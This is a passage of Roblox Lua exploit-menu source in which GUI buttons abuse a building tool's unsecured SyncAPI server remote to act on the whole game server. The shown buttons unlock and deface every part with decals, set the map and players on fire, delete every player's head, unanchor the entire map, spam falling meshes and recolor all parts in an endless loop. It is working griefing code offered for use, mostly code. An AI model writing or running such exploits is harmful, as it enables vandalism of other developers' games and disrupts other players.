}
}
_(args)
end

function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}

_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)

end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}

_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end

function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)

SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)

SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)

SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)

SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)

SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end

spam(game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text)
end)
end
coroutine.wrap(RXFTK_fake_script)()
local function VANYF_fake_script() -- button_49.LocalScript
local script = Instance.new('LocalScript', button_49)

local button = script.Parent

button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end

function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}

_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)

end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
function FireParts()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
AddFire(v)
end)
end
end
FireParts()

end)
end
coroutine.wrap(VANYF_fake_script)()
local function HZJA_fake_script() -- button_50.LocalScript
local script = Instance.new('LocalScript', button_50)

local button = script.Parent

button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end

function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}

_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)

end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = workspace.Part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end

function Fire(player)
for i,v in player.Character:GetDescendants() do
if v:IsA("BasePart") then
AddFire(v)
end
end
DestroyPart(player.Character.Head)
end

for i,v in game.Players:GetPlayers() do


spawn(function()
pcall(function()
Fire(v)
end)
end)
end
end)
end
coroutine.wrap(HZJA_fake_script)()
local function EGDK_fake_script() -- button_51.LocalScript
local script = Instance.new('LocalScript', button_51)

local button = script.Parent

button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = workspace.Part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end

function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}

_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
hrpcf = player.Character.HumanoidRootPart.CFrame
while wait(0.5) do
x = hrpcf.x
z = hrpcf.z
randint = math.random(-600,600)
randint2 = math.random(-600,600)
xloc = randint + x
zloc = randint2 + z
cf = player.Character.HumanoidRootPart.CFrame.y + 400
spawn(function()
CreatePart(CFrame.new(math.floor(xloc),
math.random(cf,cf+400), math.floor(zloc)))
for i,v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and
v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v,"b_1337")
SetAnchor(false,v)
AddMesh(v)
Resize(v, Vector3.new(100,100,100),v.CFrame)
MeshResize(v,Vector3.new(3,3,3))
SetMesh(v,"7234998844")
SetTexture(v, "1009824086")
SetCollision(v,false)
else
end
end
end)
end
end)
end
coroutine.wrap(EGDK_fake_script)()
local function QDRG_fake_script() -- button_52.LocalScript
local script = Instance.new('LocalScript', button_52)

local button = script.Parent

button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end

function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}

_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)

end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end

function KillAll()
for i,v in game.Players:GetPlayers() do
spawn(function()
SetLocked(v.Character.Head,false)
DestroyPart(v.Character.Head)
end)
end
end
KillAll()
end)
end
coroutine.wrap(QDRG_fake_script)()
local function LQAKNWI_fake_script() -- button_53.LocalScript
local script = Instance.new('LocalScript', button_53)

local button = script.Parent

button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent,types)
local args = {
[1] = "CreatePart",
[2] = types,
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end

function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}

_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)

end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end

function Material(part,mate)

local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = mate
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
hrpx = math.floor(char.HumanoidRootPart.CFrame.x)
hrpz = math.floor(char.HumanoidRootPart.CFrame.z)
hrpy = math.floor(char.HumanoidRootPart.CFrame.y)
function SpawnBasePlate()
CreatePart(CFrame.new(hrpx,hrpy-20,hrpz),workspace,"Spawn")
for i,v in game.Workspace:GetChildren() do
if v:IsA("BasePart") and v.CFrame.y == hrpy - 20 and
v.CFrame.x == hrpx then
spawn(function()

Resize(v,Vector3.new(1000,2,1000),CFrame.new(hrpx,hrpy-20,hrpz))
Material(v,Enum.Material.Grass)
Color(v,Color3.fromRGB(25,100,25))
while wait(1) do

pcall(function()SetLocked(v,true)end)
end
end)
end
end
end
SpawnBasePlate()
end)
end
coroutine.wrap(LQAKNWI_fake_script)()
local function MPCIN_fake_script() -- button_54.LocalScript
local script = Instance.new('LocalScript', button_54)

local button = script.Parent

button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end

function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}

_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)

end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end

function BigHead(player)
local chara = player.Character
spawn(function()
SetLocked(chara.Head,false)
MeshResize(chara.Head,Vector3.new(10,10,10))
end)
end
for i,players in game.Players:GetPlayers() do
BigHead(players)
end
end)
end
coroutine.wrap(MPCIN_fake_script)()
local function HQBSF_fake_script() -- button_55.LocalScript
local script = Instance.new('LocalScript', button_55)

local button = script.Parent

button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end

function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}

_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)

end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end

function Unanchor()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
SetAnchor(false,v)
end)
end
end
Unanchor()

end)
end
coroutine.wrap(HQBSF_fake_script)()
local function THNGQF_fake_script() -- button_56.LocalScript
local script = Instance.new('LocalScript', button_56)

local button = script.Parent

button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end

function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}

_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)

end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function randomise()
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)

Color(v,Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)))
end)
end
end
end
while wait() do
spawn(function()
randomise()
end)
end
end)
end
coroutine.wrap(THNGQF_fake_script)()
local function VTUOG_fake_script() -- button_57.LocalScript
local script = Instance.new('LocalScript', button_57)

local button = script.Parent

button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = workspace.Part
}
}
_(args)
end
